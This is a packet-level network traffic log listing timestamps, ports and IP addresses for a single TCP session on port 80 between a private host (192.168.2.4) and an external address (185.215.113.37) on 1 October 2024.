Oct 1, 2024 06:03:11.182389021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182420969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182430983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182457924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182462931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182497025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182504892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182538033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182543993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182568073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182575941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182600975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182605982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182632923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182642937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182666063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182672024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182697058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182707071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182739019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182742119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182773113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182782888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182805061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182815075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182837009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182847023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182869911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182878971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182902098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182913065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182934999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182944059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182966948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.182977915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.182997942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183015108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183029890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183041096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183062077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183072090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183089972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183104992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183121920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183131933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183155060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183166027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183186054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183197021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183218002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183237076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183250904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183262110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183285952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183293104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183316946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183327913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183350086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183360100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183382988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183401108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183434010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183434963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183465958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183476925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183499098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183506966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183531046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183543921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183563948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183574915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183590889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183612108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183621883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183628082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183654070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183667898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183685064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183701038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183717012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183727026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183748960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183763981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183780909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183792114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183813095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183826923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183847904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183861971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183876038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183888912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183907032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183918953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183939934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183948994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.183971882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.183981895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184004068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184012890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184035063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184046030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184067965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184077024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184098005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184109926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184129953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184139967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184161901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184173107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184194088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184205055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184236050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184237003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184274912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184281111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184302092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.184320927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.184346914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.266737938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.266813993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.266948938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.266982079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267028093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267059088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267102957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267112017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267142057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267158985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267168045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267209053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267210007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267255068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267282009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267328978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267329931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267363071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267386913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267402887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267415047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267446041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267461061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267477989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267492056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267508984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267524958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267544031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267556906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267586946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267592907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267651081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267653942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267687082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267704010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267721891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267731905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267755032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267769098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267786980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267800093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267832994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267819881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267884016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267884970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267935991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267939091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.267985106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.267988920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268035889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268038034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268069029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268085003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268115997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268116951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268148899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268170118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268191099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268196106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268243074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268244982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268273115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268290997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268304110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268318892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268336058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268347025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268374920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268383026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268424988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268425941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268455029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268471956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268502951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268502951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268554926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268558025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268601894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268603086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268634081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268656015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268662930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268668890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268701077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268709898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268757105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268759012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268805981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268806934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268838882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268857002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268866062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268881083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268897057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268903971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268929958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268946886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268959999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.268978119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.268992901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269006014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269025087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269037962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269056082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269068003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269083977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269098997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269115925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269129992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269149065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269160986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269193888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269197941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269229889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269247055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269270897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269277096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269309044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269323111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269340992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269352913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269373894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269388914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269402981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269416094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269437075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269438028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269469976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269480944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269500971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269515991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269531965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269541979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269563913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269575119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269597054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269606113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269629002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269640923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269660950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269673109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269692898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269706964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269723892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269737959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269753933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269768953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269785881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269802094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269818068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269829035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269850016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269865036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269881964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269895077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269913912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269929886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269946098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269958973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.269978046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.269995928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270009995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270020008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270041943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270052910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270071983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270087957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270102978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270114899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270133972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270149946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270165920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270179033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270196915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270214081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270229101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270245075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270261049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270273924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270292997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270308018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270324945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270339966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270356894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270369053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270389080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270404100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270421982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270435095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270452976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270468950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270486116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270498037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270517111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270533085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270550966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270564079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270581961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270598888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270615101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270628929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270646095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270658970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270678043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270689964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270709991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270725965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270741940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270756006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270772934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270787954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270804882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270819902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.270834923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.270839930 CEST	49730	80	192.168.2.4	185.215.113.37
